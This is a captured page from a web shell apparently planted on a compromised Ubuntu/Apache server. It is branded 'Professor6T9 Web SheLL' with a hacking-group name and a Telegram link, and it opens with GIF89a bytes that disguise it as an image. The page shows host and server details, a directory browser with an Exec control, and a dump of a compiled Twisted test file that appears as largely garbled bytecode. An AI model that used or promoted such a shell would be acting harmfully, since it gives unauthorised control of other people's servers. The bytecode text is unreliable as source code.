GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
twisted
/
test
/
__pycache__
[ HOME ]
Exec
Submit
File Name : test_randbytes.cpython-310.pyc
o �b� � @ sj d Z ddlmZ ddlmZ G dd� d�ZG dd� deej�ZG dd � d eej�Z G d d� deej�Z dS ) z- Test cases for L{twisted.python.randbytes}. � )� randbytes)�unittestc @ � e Zd ZdZdd� ZdS )�SecureRandomTestCaseBasez1 Base class for secureRandom test cases. c C sP t dd�D ] }||�}| �t|�|� ||�}| �t|�|� | �||� qdS )a| The given random bytes source should return the number of bytes requested each time it is called and should probably not return the same bytes on two consecutive calls (although this is a perfectly legitimate occurrence and rejecting it may generate a spurious failure -- maybe we'll get lucky and the heat death with come first). � � N)�range�assertEqual�len�assertNotEqual)�self�source�nbytes�s�s2� r �=/usr/lib/python3/dist-packages/twisted/test/test_randbytes.py�_check s �zSecureRandomTestCaseBase._checkN)�__name__� __module__�__qualname__�__doc__r r r r r r � r c @ r )�SecureRandomTestsz4 Test secureRandom under normal conditions. c C � | � tj� dS )z� L{randbytes.secureRandom} should return a string of the requested length and make some effort to make its result otherwise unpredictable. N)r r �secureRandom�r r r r �test_normal( s zSecureRandomTests.test_normalN)r r r r r r r r r r # r r c @ s0 e Zd ZdZdd� Zdd� Zdd� Zdd � Zd S )�ConditionalSecureRandomTestsz< Test random sources one by one, then remove it to. c C s t �� | _dS )zJ Create a L{randbytes.RandomFactory} to use in the tests. N)r � RandomFactory�factoryr r r r �setUp7 s z"ConditionalSecureRandomTests.setUpc C s t �� �)zL A factory raising an error when a source is not available. )r �SourceNotAvailable)r r r r r �errorFactory= s z)ConditionalSecureRandomTests.errorFactoryc C s | � | jj� dS )zy L{RandomFactory._osUrandom} should work as a random source whenever L{os.urandom} is available. N)r r � _osUrandomr r r r �test_osUrandomC s z+ConditionalSecureRandomTests.test_osUrandomc sN � j � j_� �tj� jjd� � fdd�}� �tdt |�}� � t|�d� dS )zt Remove all secure sources and assert it raises a failure. Then try the fallback parameter. � c s � j jddd�S )Nr&